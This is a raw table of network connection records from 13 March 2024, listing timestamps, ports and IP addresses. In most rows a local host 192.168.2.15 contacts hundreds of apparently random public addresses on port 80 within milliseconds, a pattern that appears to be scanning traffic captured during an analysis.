Mar 13, 2024 09:35:02.542594910 CET	57141	80	192.168.2.15	171.141.216.172
Mar 13, 2024 09:35:02.542594910 CET	57141	80	192.168.2.15	129.1.145.115
Mar 13, 2024 09:35:02.542594910 CET	57141	80	192.168.2.15	83.39.227.105
Mar 13, 2024 09:35:02.542594910 CET	57141	80	192.168.2.15	98.250.213.102
Mar 13, 2024 09:35:02.542598963 CET	57141	80	192.168.2.15	118.137.149.246
Mar 13, 2024 09:35:02.542598963 CET	57141	80	192.168.2.15	221.156.32.36
Mar 13, 2024 09:35:02.542598963 CET	57141	80	192.168.2.15	85.161.20.255
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	122.178.198.233
Mar 13, 2024 09:35:02.542598963 CET	57141	80	192.168.2.15	57.161.221.198
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	162.57.181.232
Mar 13, 2024 09:35:02.542598963 CET	57141	80	192.168.2.15	181.40.8.186
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	50.148.226.220
Mar 13, 2024 09:35:02.542598963 CET	57141	80	192.168.2.15	139.191.195.129
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	59.254.26.70
Mar 13, 2024 09:35:02.542598963 CET	57141	80	192.168.2.15	162.115.90.204
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	116.213.211.223
Mar 13, 2024 09:35:02.542598963 CET	57141	80	192.168.2.15	136.177.69.181
Mar 13, 2024 09:35:02.542607069 CET	57141	80	192.168.2.15	85.185.238.187
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	189.162.83.137
Mar 13, 2024 09:35:02.542607069 CET	57141	80	192.168.2.15	213.246.24.239
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	152.201.17.149
Mar 13, 2024 09:35:02.542607069 CET	57141	80	192.168.2.15	130.45.119.241
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	89.195.110.108
Mar 13, 2024 09:35:02.542607069 CET	57141	80	192.168.2.15	209.161.245.69
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	49.35.172.112
Mar 13, 2024 09:35:02.542607069 CET	57141	80	192.168.2.15	129.181.140.235
Mar 13, 2024 09:35:02.542599916 CET	57141	80	192.168.2.15	216.20.35.226
Mar 13, 2024 09:35:02.542609930 CET	57141	80	192.168.2.15	196.116.71.194
Mar 13, 2024 09:35:02.542607069 CET	57141	80	192.168.2.15	97.204.190.139
Mar 13, 2024 09:35:02.542609930 CET	57141	80	192.168.2.15	80.199.220.215
Mar 13, 2024 09:35:02.542609930 CET	57141	80	192.168.2.15	162.112.26.127
Mar 13, 2024 09:35:02.542618036 CET	57141	80	192.168.2.15	207.176.142.118
Mar 13, 2024 09:35:02.542609930 CET	57141	80	192.168.2.15	42.183.29.204
Mar 13, 2024 09:35:02.542618036 CET	57141	80	192.168.2.15	51.253.203.1
Mar 13, 2024 09:35:02.542609930 CET	57141	80	192.168.2.15	96.18.177.14
Mar 13, 2024 09:35:02.542618036 CET	57141	80	192.168.2.15	180.238.49.47
Mar 13, 2024 09:35:02.542618036 CET	57141	80	192.168.2.15	63.189.208.183
Mar 13, 2024 09:35:02.542618036 CET	57141	80	192.168.2.15	172.228.48.44
Mar 13, 2024 09:35:02.542618990 CET	57141	80	192.168.2.15	124.37.212.190
Mar 13, 2024 09:35:02.542634010 CET	57141	80	192.168.2.15	221.3.34.89
Mar 13, 2024 09:35:02.542634010 CET	57141	80	192.168.2.15	47.102.30.149
Mar 13, 2024 09:35:02.542634010 CET	57141	80	192.168.2.15	75.142.116.184
Mar 13, 2024 09:35:02.542634964 CET	57141	80	192.168.2.15	200.254.219.50
Mar 13, 2024 09:35:02.542634964 CET	57141	80	192.168.2.15	134.102.76.29
Mar 13, 2024 09:35:02.542675018 CET	57141	80	192.168.2.15	13.9.64.241
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	57.72.136.120
Mar 13, 2024 09:35:02.542675018 CET	57141	80	192.168.2.15	142.100.238.69
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	52.203.115.49
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	115.123.53.115
Mar 13, 2024 09:35:02.542675018 CET	57141	80	192.168.2.15	144.115.68.28
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	170.10.200.80
Mar 13, 2024 09:35:02.542675018 CET	57141	80	192.168.2.15	165.225.137.55
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	159.160.44.240
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	148.180.165.122
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	84.146.130.227
Mar 13, 2024 09:35:02.542675018 CET	57141	80	192.168.2.15	154.171.226.36
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	147.100.183.169
Mar 13, 2024 09:35:02.542675018 CET	57141	80	192.168.2.15	186.227.197.170
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	198.29.191.248
Mar 13, 2024 09:35:02.542685032 CET	57141	80	192.168.2.15	150.238.92.138
Mar 13, 2024 09:35:02.542680979 CET	57141	80	192.168.2.15	98.12.131.111
Mar 13, 2024 09:35:02.542685032 CET	57141	80	192.168.2.15	165.178.29.55
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	60.89.38.160
Mar 13, 2024 09:35:02.542680979 CET	57141	80	192.168.2.15	97.154.86.118
Mar 13, 2024 09:35:02.542675972 CET	57141	80	192.168.2.15	181.250.41.3
Mar 13, 2024 09:35:02.542680979 CET	57141	80	192.168.2.15	69.186.30.219
Mar 13, 2024 09:35:02.542685032 CET	57141	80	192.168.2.15	131.216.233.243
Mar 13, 2024 09:35:02.542681932 CET	57141	80	192.168.2.15	73.41.221.87
Mar 13, 2024 09:35:02.542685032 CET	57141	80	192.168.2.15	168.168.6.30
Mar 13, 2024 09:35:02.542685032 CET	57141	80	192.168.2.15	208.116.78.190
Mar 13, 2024 09:35:02.542685032 CET	57141	80	192.168.2.15	94.89.227.147
Mar 13, 2024 09:35:02.542681932 CET	57141	80	192.168.2.15	213.143.54.115
Mar 13, 2024 09:35:02.542681932 CET	57141	80	192.168.2.15	218.203.52.4
Mar 13, 2024 09:35:02.542681932 CET	57141	80	192.168.2.15	160.125.89.24
Mar 13, 2024 09:35:02.542732954 CET	57141	80	192.168.2.15	98.118.244.69
Mar 13, 2024 09:35:02.542732954 CET	57141	80	192.168.2.15	110.81.1.11
Mar 13, 2024 09:35:02.542736053 CET	57141	80	192.168.2.15	196.101.88.175
Mar 13, 2024 09:35:02.542736053 CET	57141	80	192.168.2.15	182.226.135.14
Mar 13, 2024 09:35:02.542737007 CET	57141	80	192.168.2.15	87.131.252.30
Mar 13, 2024 09:35:02.542737007 CET	57141	80	192.168.2.15	107.21.240.243
Mar 13, 2024 09:35:02.542737007 CET	57141	80	192.168.2.15	188.7.5.51
Mar 13, 2024 09:35:02.542737007 CET	57141	80	192.168.2.15	191.198.43.165
Mar 13, 2024 09:35:02.542737007 CET	57141	80	192.168.2.15	158.170.89.231
Mar 13, 2024 09:35:02.542772055 CET	57141	80	192.168.2.15	150.158.100.190
Mar 13, 2024 09:35:02.542772055 CET	57141	80	192.168.2.15	165.94.179.141
Mar 13, 2024 09:35:02.542772055 CET	57141	80	192.168.2.15	85.67.105.113
Mar 13, 2024 09:35:02.542772055 CET	57141	80	192.168.2.15	132.72.101.70
Mar 13, 2024 09:35:02.542772055 CET	57141	80	192.168.2.15	66.83.228.255
Mar 13, 2024 09:35:02.542773008 CET	57141	80	192.168.2.15	42.43.42.227
Mar 13, 2024 09:35:02.542772055 CET	57141	80	192.168.2.15	147.198.4.172
Mar 13, 2024 09:35:02.542773008 CET	57141	80	192.168.2.15	112.175.167.131
Mar 13, 2024 09:35:02.542773008 CET	57141	80	192.168.2.15	24.96.9.62
Mar 13, 2024 09:35:02.542785883 CET	52734	80	192.168.2.15	184.85.86.34
Mar 13, 2024 09:35:02.542794943 CET	57141	80	192.168.2.15	20.170.5.121
Mar 13, 2024 09:35:02.542794943 CET	57141	80	192.168.2.15	194.188.106.31
Mar 13, 2024 09:35:02.542797089 CET	50854	80	192.168.2.15	116.162.161.24
Mar 13, 2024 09:35:02.542797089 CET	34984	80	192.168.2.15	23.58.104.81
Mar 13, 2024 09:35:02.542794943 CET	57141	80	192.168.2.15	17.253.89.114
Mar 13, 2024 09:35:02.542794943 CET	57141	80	192.168.2.15	173.54.12.177
Mar 13, 2024 09:35:02.542794943 CET	57141	80	192.168.2.15	157.64.84.130
Mar 13, 2024 09:35:02.542794943 CET	57141	80	192.168.2.15	25.174.173.76
Mar 13, 2024 09:35:02.542795897 CET	57141	80	192.168.2.15	180.34.158.181
Mar 13, 2024 09:35:02.542795897 CET	57141	80	192.168.2.15	174.35.210.35
Mar 13, 2024 09:35:02.542834997 CET	57141	80	192.168.2.15	181.131.119.52
Mar 13, 2024 09:35:02.542834997 CET	57141	80	192.168.2.15	135.45.25.233
Mar 13, 2024 09:35:02.542834997 CET	57141	80	192.168.2.15	163.156.178.172
Mar 13, 2024 09:35:02.542834997 CET	57141	80	192.168.2.15	12.221.54.137
Mar 13, 2024 09:35:02.586349010 CET	23	56885	119.220.148.36	192.168.2.15
Mar 13, 2024 09:35:02.638252974 CET	80	57141	37.16.12.162	192.168.2.15
Mar 13, 2024 09:35:02.638361931 CET	57141	80	192.168.2.15	37.16.12.162
Mar 13, 2024 09:35:02.647960901 CET	80	57141	66.46.21.58	192.168.2.15
Mar 13, 2024 09:35:02.661457062 CET	80	57141	34.143.46.47	192.168.2.15
Mar 13, 2024 09:35:02.661545038 CET	57141	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:02.706088066 CET	80	57141	105.150.200.19	192.168.2.15
Mar 13, 2024 09:35:02.732151985 CET	80	57141	154.46.48.1	192.168.2.15
Mar 13, 2024 09:35:02.732319117 CET	80	57141	168.168.6.30	192.168.2.15
Mar 13, 2024 09:35:02.732424974 CET	57141	80	192.168.2.15	168.168.6.30
Mar 13, 2024 09:35:02.745438099 CET	37215	57653	197.129.116.175	192.168.2.15
Mar 13, 2024 09:35:02.777899981 CET	80	57141	196.186.31.236	192.168.2.15
Mar 13, 2024 09:35:02.778026104 CET	57141	80	192.168.2.15	196.186.31.236
Mar 13, 2024 09:35:02.778247118 CET	80	57141	196.186.31.236	192.168.2.15
Mar 13, 2024 09:35:02.814479113 CET	80	57141	23.206.48.35	192.168.2.15
Mar 13, 2024 09:35:02.814570904 CET	57141	80	192.168.2.15	23.206.48.35
Mar 13, 2024 09:35:02.820513010 CET	80	57141	35.73.74.28	192.168.2.15
Mar 13, 2024 09:35:02.820684910 CET	57141	80	192.168.2.15	35.73.74.28
Mar 13, 2024 09:35:02.827532053 CET	80	57141	221.156.32.36	192.168.2.15
Mar 13, 2024 09:35:02.829229116 CET	80	57141	27.235.83.71	192.168.2.15
Mar 13, 2024 09:35:02.863570929 CET	80	50854	116.162.161.24	192.168.2.15
Mar 13, 2024 09:35:02.863732100 CET	50854	80	192.168.2.15	116.162.161.24
Mar 13, 2024 09:35:02.863867998 CET	57141	80	192.168.2.15	19.30.253.226
Mar 13, 2024 09:35:02.863877058 CET	57141	80	192.168.2.15	42.147.136.176
Mar 13, 2024 09:35:02.863878965 CET	57141	80	192.168.2.15	23.70.46.142
Mar 13, 2024 09:35:02.863898039 CET	57141	80	192.168.2.15	188.246.2.26
Mar 13, 2024 09:35:02.863903046 CET	57141	80	192.168.2.15	130.179.213.44
Mar 13, 2024 09:35:02.863934040 CET	57141	80	192.168.2.15	162.178.60.237
Mar 13, 2024 09:35:02.863935947 CET	57141	80	192.168.2.15	41.248.61.199
Mar 13, 2024 09:35:02.863953114 CET	57141	80	192.168.2.15	9.106.84.113
Mar 13, 2024 09:35:02.864048958 CET	57141	80	192.168.2.15	174.138.138.11
Mar 13, 2024 09:35:02.864104986 CET	57141	80	192.168.2.15	84.75.42.91
Mar 13, 2024 09:35:02.864118099 CET	57141	80	192.168.2.15	187.240.164.49
Mar 13, 2024 09:35:02.864123106 CET	57141	80	192.168.2.15	172.127.237.185
Mar 13, 2024 09:35:02.864152908 CET	57141	80	192.168.2.15	75.3.26.112
Mar 13, 2024 09:35:02.864173889 CET	57141	80	192.168.2.15	73.79.191.113
Mar 13, 2024 09:35:02.864198923 CET	57141	80	192.168.2.15	104.230.12.223
Mar 13, 2024 09:35:02.864237070 CET	57141	80	192.168.2.15	177.81.124.194
Mar 13, 2024 09:35:02.864240885 CET	57141	80	192.168.2.15	160.112.119.191
Mar 13, 2024 09:35:02.864240885 CET	57141	80	192.168.2.15	79.244.160.176
Mar 13, 2024 09:35:02.864249945 CET	57141	80	192.168.2.15	109.13.41.24
Mar 13, 2024 09:35:02.864254951 CET	57141	80	192.168.2.15	221.248.221.238
Mar 13, 2024 09:35:02.864258051 CET	57141	80	192.168.2.15	66.230.108.244
Mar 13, 2024 09:35:02.864270926 CET	57141	80	192.168.2.15	171.37.92.124
Mar 13, 2024 09:35:02.864272118 CET	57141	80	192.168.2.15	91.139.227.91
Mar 13, 2024 09:35:02.864274979 CET	57141	80	192.168.2.15	73.144.253.166
Mar 13, 2024 09:35:02.864279032 CET	57141	80	192.168.2.15	201.244.155.216
Mar 13, 2024 09:35:02.864289045 CET	57141	80	192.168.2.15	217.74.154.104
Mar 13, 2024 09:35:02.864289999 CET	57141	80	192.168.2.15	57.87.87.63
Mar 13, 2024 09:35:02.864289999 CET	57141	80	192.168.2.15	25.179.246.224
Mar 13, 2024 09:35:02.864291906 CET	57141	80	192.168.2.15	74.190.122.59
Mar 13, 2024 09:35:02.864304066 CET	57141	80	192.168.2.15	80.112.47.229
Mar 13, 2024 09:35:02.864320993 CET	57141	80	192.168.2.15	140.77.112.93
Mar 13, 2024 09:35:02.864320993 CET	57141	80	192.168.2.15	147.197.162.91
Mar 13, 2024 09:35:02.864327908 CET	57141	80	192.168.2.15	208.202.92.104
Mar 13, 2024 09:35:02.864331961 CET	57141	80	192.168.2.15	125.8.210.29
Mar 13, 2024 09:35:02.864336014 CET	57141	80	192.168.2.15	106.235.155.111
Mar 13, 2024 09:35:02.864331961 CET	57141	80	192.168.2.15	205.234.45.97
Mar 13, 2024 09:35:02.864331961 CET	57141	80	192.168.2.15	186.61.160.244
Mar 13, 2024 09:35:02.864336014 CET	57141	80	192.168.2.15	141.32.187.110
Mar 13, 2024 09:35:02.864343882 CET	57141	80	192.168.2.15	75.109.99.103
Mar 13, 2024 09:35:02.864353895 CET	57141	80	192.168.2.15	109.8.136.95
Mar 13, 2024 09:35:02.864357948 CET	57141	80	192.168.2.15	101.194.131.183
Mar 13, 2024 09:35:02.864357948 CET	57141	80	192.168.2.15	46.194.174.241
Mar 13, 2024 09:35:02.864368916 CET	57141	80	192.168.2.15	63.144.26.147
Mar 13, 2024 09:35:02.864371061 CET	57141	80	192.168.2.15	105.186.31.72
Mar 13, 2024 09:35:02.864375114 CET	57141	80	192.168.2.15	211.211.128.101
Mar 13, 2024 09:35:02.864383936 CET	57141	80	192.168.2.15	113.130.7.253
Mar 13, 2024 09:35:02.864387989 CET	57141	80	192.168.2.15	137.71.23.95
Mar 13, 2024 09:35:02.864396095 CET	57141	80	192.168.2.15	39.2.174.35
Mar 13, 2024 09:35:02.864425898 CET	57141	80	192.168.2.15	12.247.200.192
Mar 13, 2024 09:35:02.864439964 CET	57141	80	192.168.2.15	178.248.154.99
Mar 13, 2024 09:35:02.864444017 CET	57141	80	192.168.2.15	210.150.101.169
Mar 13, 2024 09:35:02.864444017 CET	57141	80	192.168.2.15	83.126.68.110
Mar 13, 2024 09:35:02.864470959 CET	57141	80	192.168.2.15	102.170.247.50
Mar 13, 2024 09:35:02.864470959 CET	57141	80	192.168.2.15	149.165.85.90
Mar 13, 2024 09:35:02.864475965 CET	57141	80	192.168.2.15	199.58.19.157
Mar 13, 2024 09:35:02.864475965 CET	57141	80	192.168.2.15	134.230.250.84
Mar 13, 2024 09:35:02.864478111 CET	57141	80	192.168.2.15	161.234.50.7
Mar 13, 2024 09:35:02.864481926 CET	57141	80	192.168.2.15	92.117.151.104
Mar 13, 2024 09:35:02.864481926 CET	57141	80	192.168.2.15	219.185.74.174
Mar 13, 2024 09:35:02.864486933 CET	57141	80	192.168.2.15	158.0.128.80
Mar 13, 2024 09:35:02.864486933 CET	57141	80	192.168.2.15	83.116.32.131
Mar 13, 2024 09:35:02.864486933 CET	57141	80	192.168.2.15	39.31.159.53
Mar 13, 2024 09:35:02.864486933 CET	57141	80	192.168.2.15	109.213.127.248
Mar 13, 2024 09:35:02.864504099 CET	57141	80	192.168.2.15	49.143.111.240
Mar 13, 2024 09:35:02.864504099 CET	57141	80	192.168.2.15	61.103.44.41
Mar 13, 2024 09:35:02.864505053 CET	57141	80	192.168.2.15	1.178.43.103
Mar 13, 2024 09:35:02.864504099 CET	57141	80	192.168.2.15	19.103.7.71
Mar 13, 2024 09:35:02.864509106 CET	57141	80	192.168.2.15	48.128.236.204
Mar 13, 2024 09:35:02.864509106 CET	57141	80	192.168.2.15	110.49.183.33
Mar 13, 2024 09:35:02.864511967 CET	57141	80	192.168.2.15	149.185.40.142
Mar 13, 2024 09:35:02.864511967 CET	57141	80	192.168.2.15	82.3.193.59
Mar 13, 2024 09:35:02.864511967 CET	57141	80	192.168.2.15	202.83.96.153
Mar 13, 2024 09:35:02.864511967 CET	57141	80	192.168.2.15	13.50.190.61
Mar 13, 2024 09:35:02.864514112 CET	57141	80	192.168.2.15	213.235.172.207
Mar 13, 2024 09:35:02.864516973 CET	57141	80	192.168.2.15	188.57.230.84
Mar 13, 2024 09:35:02.864516973 CET	57141	80	192.168.2.15	168.12.51.233
Mar 13, 2024 09:35:02.864521027 CET	57141	80	192.168.2.15	218.83.49.147
Mar 13, 2024 09:35:02.864521027 CET	57141	80	192.168.2.15	104.116.59.137
Mar 13, 2024 09:35:02.864526987 CET	57141	80	192.168.2.15	76.12.37.200
Mar 13, 2024 09:35:02.864526987 CET	57141	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:02.864527941 CET	57141	80	192.168.2.15	166.4.255.116
Mar 13, 2024 09:35:02.864547968 CET	57141	80	192.168.2.15	184.111.27.136
Mar 13, 2024 09:35:02.864547968 CET	57141	80	192.168.2.15	170.74.245.43
Mar 13, 2024 09:35:02.864551067 CET	57141	80	192.168.2.15	192.89.139.238
Mar 13, 2024 09:35:02.864553928 CET	57141	80	192.168.2.15	95.214.102.16
Mar 13, 2024 09:35:02.864563942 CET	57141	80	192.168.2.15	217.136.210.18
Mar 13, 2024 09:35:02.864573002 CET	57141	80	192.168.2.15	193.75.173.50
Mar 13, 2024 09:35:02.864573002 CET	57141	80	192.168.2.15	123.24.170.146
Mar 13, 2024 09:35:02.864581108 CET	57141	80	192.168.2.15	49.42.144.48
Mar 13, 2024 09:35:02.864603043 CET	57141	80	192.168.2.15	54.46.30.175
Mar 13, 2024 09:35:02.864609003 CET	57141	80	192.168.2.15	174.246.253.193
Mar 13, 2024 09:35:02.864609003 CET	57141	80	192.168.2.15	183.193.113.7
Mar 13, 2024 09:35:02.864610910 CET	57141	80	192.168.2.15	141.109.160.59
Mar 13, 2024 09:35:02.864610910 CET	57141	80	192.168.2.15	43.39.187.212
Mar 13, 2024 09:35:02.864610910 CET	57141	80	192.168.2.15	36.6.29.38
Mar 13, 2024 09:35:02.864610910 CET	57141	80	192.168.2.15	4.147.74.5
Mar 13, 2024 09:35:02.864610910 CET	57141	80	192.168.2.15	14.197.185.23
Mar 13, 2024 09:35:02.864610910 CET	57141	80	192.168.2.15	124.53.240.81
Mar 13, 2024 09:35:02.864631891 CET	57141	80	192.168.2.15	193.163.95.53
Mar 13, 2024 09:35:02.864636898 CET	57141	80	192.168.2.15	74.20.127.252
Mar 13, 2024 09:35:02.864610910 CET	57141	80	192.168.2.15	59.135.208.46
Mar 13, 2024 09:35:02.864610910 CET	57141	80	192.168.2.15	129.0.117.37
Mar 13, 2024 09:35:02.864644051 CET	57141	80	192.168.2.15	200.81.232.221
Mar 13, 2024 09:35:02.864645004 CET	57141	80	192.168.2.15	134.201.121.7
Mar 13, 2024 09:35:02.864659071 CET	57141	80	192.168.2.15	102.88.7.80
Mar 13, 2024 09:35:02.864674091 CET	57141	80	192.168.2.15	78.120.187.51
Mar 13, 2024 09:35:02.864681959 CET	57141	80	192.168.2.15	134.141.73.236
Mar 13, 2024 09:35:02.864706039 CET	57141	80	192.168.2.15	106.30.199.53
Mar 13, 2024 09:35:02.864706039 CET	57141	80	192.168.2.15	163.183.107.228
Mar 13, 2024 09:35:02.864706039 CET	57141	80	192.168.2.15	168.198.19.4
Mar 13, 2024 09:35:02.864722013 CET	57141	80	192.168.2.15	123.244.242.99
Mar 13, 2024 09:35:02.864746094 CET	57141	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:02.864747047 CET	57141	80	192.168.2.15	64.60.22.239
Mar 13, 2024 09:35:02.864748955 CET	57141	80	192.168.2.15	53.106.229.189
Mar 13, 2024 09:35:02.864748955 CET	57141	80	192.168.2.15	198.5.228.17
Mar 13, 2024 09:35:02.864749908 CET	57141	80	192.168.2.15	182.61.117.140
Mar 13, 2024 09:35:02.864772081 CET	57141	80	192.168.2.15	216.4.230.180
Mar 13, 2024 09:35:02.864784002 CET	57141	80	192.168.2.15	131.9.30.173
Mar 13, 2024 09:35:02.864787102 CET	57141	80	192.168.2.15	35.73.188.10
Mar 13, 2024 09:35:02.864787102 CET	57141	80	192.168.2.15	161.66.174.62
Mar 13, 2024 09:35:02.864788055 CET	57141	80	192.168.2.15	142.195.193.243
Mar 13, 2024 09:35:02.864787102 CET	57141	80	192.168.2.15	103.160.213.61
Mar 13, 2024 09:35:02.864787102 CET	57141	80	192.168.2.15	175.121.191.81
Mar 13, 2024 09:35:02.864788055 CET	57141	80	192.168.2.15	40.173.63.204
Mar 13, 2024 09:35:02.864788055 CET	57141	80	192.168.2.15	161.74.211.38
Mar 13, 2024 09:35:02.864787102 CET	57141	80	192.168.2.15	157.204.47.198
Mar 13, 2024 09:35:02.864788055 CET	57141	80	192.168.2.15	41.4.229.45
Mar 13, 2024 09:35:02.864787102 CET	57141	80	192.168.2.15	210.107.129.245
Mar 13, 2024 09:35:02.864788055 CET	57141	80	192.168.2.15	82.184.246.154
Mar 13, 2024 09:35:02.864787102 CET	57141	80	192.168.2.15	113.160.51.245
Mar 13, 2024 09:35:02.864788055 CET	57141	80	192.168.2.15	107.249.48.49
Mar 13, 2024 09:35:02.864787102 CET	57141	80	192.168.2.15	96.169.58.241
Mar 13, 2024 09:35:02.864798069 CET	57141	80	192.168.2.15	175.87.24.189
Mar 13, 2024 09:35:02.864798069 CET	57141	80	192.168.2.15	139.158.45.142
Mar 13, 2024 09:35:02.864819050 CET	57141	80	192.168.2.15	78.11.132.244
Mar 13, 2024 09:35:02.864819050 CET	57141	80	192.168.2.15	52.216.190.27
Mar 13, 2024 09:35:02.864819050 CET	57141	80	192.168.2.15	190.250.237.19
Mar 13, 2024 09:35:02.864820957 CET	57141	80	192.168.2.15	100.35.9.181
Mar 13, 2024 09:35:02.864821911 CET	57141	80	192.168.2.15	119.201.90.198
Mar 13, 2024 09:35:02.864820957 CET	57141	80	192.168.2.15	98.235.195.27
Mar 13, 2024 09:35:02.864824057 CET	57141	80	192.168.2.15	118.17.153.90
Mar 13, 2024 09:35:02.864823103 CET	57141	80	192.168.2.15	112.140.214.153
Mar 13, 2024 09:35:02.864825010 CET	57141	80	192.168.2.15	81.103.239.6
Mar 13, 2024 09:35:02.864820957 CET	57141	80	192.168.2.15	162.83.34.218
Mar 13, 2024 09:35:02.864821911 CET	57141	80	192.168.2.15	156.193.95.8
Mar 13, 2024 09:35:02.864825010 CET	57141	80	192.168.2.15	83.232.4.140
Mar 13, 2024 09:35:02.864824057 CET	57141	80	192.168.2.15	163.254.166.28
Mar 13, 2024 09:35:02.864828110 CET	57141	80	192.168.2.15	162.229.255.48
Mar 13, 2024 09:35:02.864821911 CET	57141	80	192.168.2.15	136.200.76.97
Mar 13, 2024 09:35:02.864828110 CET	57141	80	192.168.2.15	1.78.252.134
Mar 13, 2024 09:35:02.864821911 CET	57141	80	192.168.2.15	100.156.70.61
Mar 13, 2024 09:35:02.864819050 CET	57141	80	192.168.2.15	96.211.136.90
Mar 13, 2024 09:35:02.864821911 CET	57141	80	192.168.2.15	66.193.227.112
Mar 13, 2024 09:35:02.864824057 CET	57141	80	192.168.2.15	91.155.242.179
Mar 13, 2024 09:35:02.864821911 CET	57141	80	192.168.2.15	88.208.225.179
Mar 13, 2024 09:35:02.864824057 CET	57141	80	192.168.2.15	221.21.162.211
Mar 13, 2024 09:35:02.864842892 CET	57141	80	192.168.2.15	62.195.211.184
Mar 13, 2024 09:35:02.864844084 CET	57141	80	192.168.2.15	158.129.139.107
Mar 13, 2024 09:35:02.864844084 CET	57141	80	192.168.2.15	159.250.79.183
Mar 13, 2024 09:35:02.864847898 CET	57141	80	192.168.2.15	216.56.141.41
Mar 13, 2024 09:35:02.864847898 CET	57141	80	192.168.2.15	151.116.182.34
Mar 13, 2024 09:35:02.864855051 CET	57141	80	192.168.2.15	20.112.99.7
Mar 13, 2024 09:35:02.864856005 CET	57141	80	192.168.2.15	44.52.24.37
Mar 13, 2024 09:35:02.864856005 CET	57141	80	192.168.2.15	143.66.19.245
Mar 13, 2024 09:35:02.864856005 CET	57141	80	192.168.2.15	151.229.231.118
Mar 13, 2024 09:35:02.864857912 CET	57141	80	192.168.2.15	9.165.142.131
Mar 13, 2024 09:35:02.864857912 CET	57141	80	192.168.2.15	48.144.173.133
Mar 13, 2024 09:35:02.864857912 CET	57141	80	192.168.2.15	123.220.101.152
Mar 13, 2024 09:35:02.864862919 CET	57141	80	192.168.2.15	206.174.211.149
Mar 13, 2024 09:35:02.864878893 CET	57141	80	192.168.2.15	37.38.219.143
Mar 13, 2024 09:35:02.864878893 CET	57141	80	192.168.2.15	179.158.186.118
Mar 13, 2024 09:35:02.864878893 CET	57141	80	192.168.2.15	52.33.190.54
Mar 13, 2024 09:35:02.864891052 CET	57141	80	192.168.2.15	218.3.208.243
Mar 13, 2024 09:35:02.864890099 CET	57141	80	192.168.2.15	100.37.228.100
Mar 13, 2024 09:35:02.864890099 CET	57141	80	192.168.2.15	202.128.212.249
Mar 13, 2024 09:35:02.864892006 CET	57141	80	192.168.2.15	121.50.206.96
Mar 13, 2024 09:35:02.864890099 CET	57141	80	192.168.2.15	48.204.208.172
Mar 13, 2024 09:35:02.864892006 CET	57141	80	192.168.2.15	149.91.24.41
Mar 13, 2024 09:35:02.864890099 CET	57141	80	192.168.2.15	150.222.66.198
Mar 13, 2024 09:35:02.864892006 CET	57141	80	192.168.2.15	42.96.77.164
Mar 13, 2024 09:35:02.864890099 CET	57141	80	192.168.2.15	93.112.152.93
Mar 13, 2024 09:35:02.864892006 CET	57141	80	192.168.2.15	66.234.56.125
Mar 13, 2024 09:35:02.864891052 CET	57141	80	192.168.2.15	141.113.8.30
Mar 13, 2024 09:35:02.864891052 CET	57141	80	192.168.2.15	62.79.69.210
Mar 13, 2024 09:35:02.864896059 CET	57141	80	192.168.2.15	70.59.24.251
Mar 13, 2024 09:35:02.864902973 CET	57141	80	192.168.2.15	120.28.45.143
Mar 13, 2024 09:35:02.864902973 CET	57141	80	192.168.2.15	20.190.21.20
Mar 13, 2024 09:35:02.864905119 CET	57141	80	192.168.2.15	208.142.118.214
Mar 13, 2024 09:35:02.864907980 CET	57141	80	192.168.2.15	45.167.74.103
Mar 13, 2024 09:35:02.864907980 CET	57141	80	192.168.2.15	153.226.152.60
Mar 13, 2024 09:35:02.864907980 CET	57141	80	192.168.2.15	181.10.189.180
Mar 13, 2024 09:35:02.864907980 CET	57141	80	192.168.2.15	154.47.170.14
Mar 13, 2024 09:35:02.864907980 CET	57141	80	192.168.2.15	103.35.36.149
Mar 13, 2024 09:35:02.864907980 CET	57141	80	192.168.2.15	140.251.51.118
Mar 13, 2024 09:35:02.864907980 CET	57141	80	192.168.2.15	198.224.179.232
Mar 13, 2024 09:35:02.864922047 CET	57141	80	192.168.2.15	193.83.116.66
Mar 13, 2024 09:35:02.864926100 CET	57141	80	192.168.2.15	220.170.98.10
Mar 13, 2024 09:35:02.864926100 CET	57141	80	192.168.2.15	39.200.215.84
Mar 13, 2024 09:35:02.864937067 CET	57141	80	192.168.2.15	12.217.0.16
Mar 13, 2024 09:35:02.864938021 CET	57141	80	192.168.2.15	207.106.192.6
Mar 13, 2024 09:35:02.864963055 CET	57141	80	192.168.2.15	132.42.36.48
Mar 13, 2024 09:35:02.864964008 CET	57141	80	192.168.2.15	100.212.67.80
Mar 13, 2024 09:35:02.864964008 CET	57141	80	192.168.2.15	77.19.145.182
Mar 13, 2024 09:35:02.864964008 CET	57141	80	192.168.2.15	177.95.180.29
Mar 13, 2024 09:35:02.864967108 CET	57141	80	192.168.2.15	149.78.189.129
Mar 13, 2024 09:35:02.864970922 CET	57141	80	192.168.2.15	193.146.134.245
Mar 13, 2024 09:35:02.864984035 CET	57141	80	192.168.2.15	135.236.140.38
Mar 13, 2024 09:35:02.864984989 CET	57141	80	192.168.2.15	206.60.103.196
Mar 13, 2024 09:35:02.864991903 CET	57141	80	192.168.2.15	24.33.235.92
Mar 13, 2024 09:35:02.864994049 CET	57141	80	192.168.2.15	53.125.207.115
Mar 13, 2024 09:35:02.865015030 CET	57141	80	192.168.2.15	27.148.220.36
